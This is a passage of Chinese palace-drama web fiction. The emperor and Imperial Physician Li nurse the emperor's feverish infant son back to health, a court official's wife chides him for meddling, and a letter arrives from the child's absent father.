小殿下长的同陛下相似,他不怀疑血脉,而且主要也是陛下不会替别人养孩子,他虽身为臣子,但也是好友,这点是知晓的。 就是觉得陛下对小殿下太过宠爱,未来的一国之君可不能够只在宠爱中长大。 这时的沈观复并不知道小殿下是早产儿,身体并不怎么好,虽然到现在小殿下的身体都还没有出什么问题,可是魏帝与李太医还是提着心的,毕竟说不好哪天就爆发了也说不定。 “陛下的事你少管,大理寺的事难道还不够你管吗?” 杨知予给儿子擦了擦口水。 “这是陛下的第一个孩子,而且还有可能是唯一的一个,陛下重视想对孩子好,不是很正常的吗?” “你也就是太闲,让陛下给你多安排些活你就老实了。” 她着实觉得自家相公越来越不识好歹起来,也是陛下给他脸了。 只是她认是这样认为的,这种不利于和睦的话她是不会说出来的,顶多在心里吐槽一下。 沈观复:“………” 他听懂了娘子的意思,无非就是嫌他多管闲事。 好吧。 他仔细想想,确实娘子说的有道理,他就是多管闲事,而且还是想管陛下的闲事。 沈观复觉得自己必须要好好反省一下,他管好沈府还有大理寺就应该是够了的,旁的他不应该去管也不能去管。 年哥儿听不懂爹娘说的话,但是敏锐的感觉到了爹惹娘不开心了,娘不喜欢爹,他也就不喜欢爹。 在爹冲他伸出双手的时候,他果断的趴到娘的肩膀上,拒绝的利落。 ……… 魏帝将事情推掉许多,很多事都推给了下面的人做,除非必要他是不打算离开初哥儿。 只是他没有想到在他刚做好所有的打算,初哥儿就出了意外。 小小的身体烧的滚烫,因为身体不舒服,扯着嗓子在哭,声音不大且听着有几分嘶哑,原本白嫩的小脸因高烧不退而变的格外的红,乌黑的眼睛里盛满了水,随后哗啦啦的流下来。 好难受…… 初初只觉得自己难受极了,他好想娘,不知道为什么娘还不回来。 泪水似珍珠一般的从脸颊滑落。 “呜……” 一双粗糙的大手把他的嘴掰开瞧了瞧,李太医已经上了年纪,眼睛不太好使,仔细看了一会才看到小主子喉咙红肿,应是炎症。 炎症不算难治,但是小主子才五个多月大,他不敢用猛药,主要是怕小主子的身体受不了。 他仔细斟酌了一会,才写下药方给清水。 一旁的清水早就急不可耐,拿着药方就是跑。 清水怎么都想不到时隔几月,自己再见到小主子的时候,会是小主子生病时的模样。 当初小主子出生时他还帮忙照顾过,本来师父说的小主子活不到一岁的话他还没有当真,可是现在看到小主子生起病来如此严重的样子,他想似乎还真有可能。 清水心里头难受,可是他没有办法,他一个学徒,只识得基本的草药,这些对小主子的病来说根本就没有什么用处,无能为力的感觉不好受。 他只盼着自己之后要开始努力,需再努力一些,如此才能在无能为力的时候问心无愧…… 于年在殿中急得团团转,李太医看他干着急,越急越上火,与其心急如焚的等着没有什么事情做,还不如让其发挥些用处。 他让于年去打了盆温水过来给小主子擦身子降温。 简单的给小主子全身擦过一次后,虽然不是立竿见影,但是还是有些效果的,过了一会李太医再看小主子的脸色是要比刚才好上一些的,而且身上摸起来也没有那么烫了。 李太医摸着自己的胡子,他的胡子修剪的整齐,除了头发,他最爱护的就是自己的胡子。 额角上的汗水他一开始并没有注意到,注意到的时候已经流到下颌,他用帕子擦了擦脸上的汗,身为太医,不管发生了什么,他都必须是冷静的。 在不冷静状态下处理的事情,通常有大概率会是错的,对于自己的医者身份,他会是个认真的人,李太医虽然平时不怎么正经,可真正遇到什么大事,他又是非常严谨的。 魏帝赶回来的时候初初的烧已经退了,他匆忙回来,衣服凌乱,看着床上小脸还是红彤彤的小东西,他手伸到一半停了下来,竟然有些不敢触碰自己的孩子。 他的眼底发热,眼眶湿润起来。 初初没有睡着,他想念娘的怀抱,可是高烧让他的脑袋晕呼呼的,迷迷糊糊睁开眼睛在想看娘回来没,没有想到,一睁眼就看到了自己心心念念的娘。 “啊…呀!” “呜……!” 他的眼泪一下子涌了出来,一边哭一边张开双手求抱抱。 魏帝这回没有迟疑,抱小东西的动作坚定,直接将初哥儿抱入怀里。 “别怕,父皇在。” “父皇会永远保护初哥儿。” 他轻轻亲了下小东西还有些温度的脸,烧是退下来了,但是还有余温。 魏帝如何都无法失去初哥儿,他如 今的希望都是初哥儿给的,初哥儿已经是他的全部,要是没有了初哥儿,他真不知道自己会怎么样…… 他不明白为何老天爷从不让他得到真正的幸福,所有看似幸福的东西,都是有着前提在的。 年幼时的幸福建立在母后的痛苦之上,而现在的幸福是他的孩子会常因为虚弱的身体痛苦,魏帝除了让自己的孩子坚持住,似乎就没有了别的办法。 他不想这样的…… 只是他已经失去了母后,唯一剩下的就是自己耗尽一切生下的孩子,对于他的初哥儿他是绝对不能够失去的,好不容易看到光亮,再让他熄灭的事他做不到。 魏帝紧紧的抱住初哥儿,腹部已经愈合的伤口隐隐作痛,他知道这是错觉,可是却又格外的真实。 初初整个人都陷进了魏帝温暖的怀里,药水进喉咙,太苦了,让他忍不住咳嗽了一下。 “咳…咳” 魏帝:!!! 他那双让初初十分熟悉的大手轻轻拍着初初的后背。 “慢点。” 魏帝的声音有些嘶哑,他护着自己孩子的模样让李太医觉得像护崽的母兽。 听到魏帝说的话,李太医动作慢了一些,只是他觉得慢些喝还不如快些喝完的好,这药说实话挺苦的。 接下来的日子由魏帝细细照顾着,他没有假他人之手,何事都是亲力亲为,让不明真相的人除了震惊还是震惊。 ……… 晚上,初初身上穿的有些多,他身上出了一层薄汗,魏帝摸到后用温水给他擦了擦身子,然后换了一套薄一点的衣服。 他病愈后的精神头足,换好衣服后坐在床上,小小的一团眨巴着眼睛盯着魏帝。 魏帝这几日不肯离开初初一步,已经连着罢朝几日,外面风声渐起,他都知道,只是尚且没有想着处理那些人,那些人还无法与初哥儿相提并论。 暖黄的烛光给这间宫殿带来了丝丝的暖意, 初初朝魏帝张开双手,小脸还带着几分苍白,明亮的眼睛弯成月牙,小嘴笑起来,露出长出来的乳牙,他嘴里的乳牙像小米粒,魏帝瞧着是有点想摸一下的,但是想了想还是算了,只是牙齿长出来就需要清洁。 他已经让人备好了清洁牙齿的牙粉,也是京城出现的新品,刷起来嘴里会有清凉的感觉,魏帝还挺喜欢这个味道。 只是不知初哥儿喜不喜欢,不过几种味道的牙粉他都让人买了些回来,打算每天给初哥儿用一种,再看初哥儿反应是喜欢哪一种,初哥儿喜欢哪一种就多备些。 他将初哥儿抱起,亲了亲初哥儿柔软的小脸。 魏帝才刚亲一口就被暗一打断,看着递上来的信。 其实在有了初哥儿之后他已经把那个男人忘得差不多了,但是现在回忆起来,心里头是有一种淡淡的可惜,他与那个男人终究是两路人,他们各有各的路要走。 两根线只是暂时交叉在一起,之后大概率再无交叉的可能,这是魏帝心知肚明的。 他拆开手里的信,他本以为按那人的性格会是长篇大论,没有想到只有短短几个字。 【恒哥,我会找到你的。】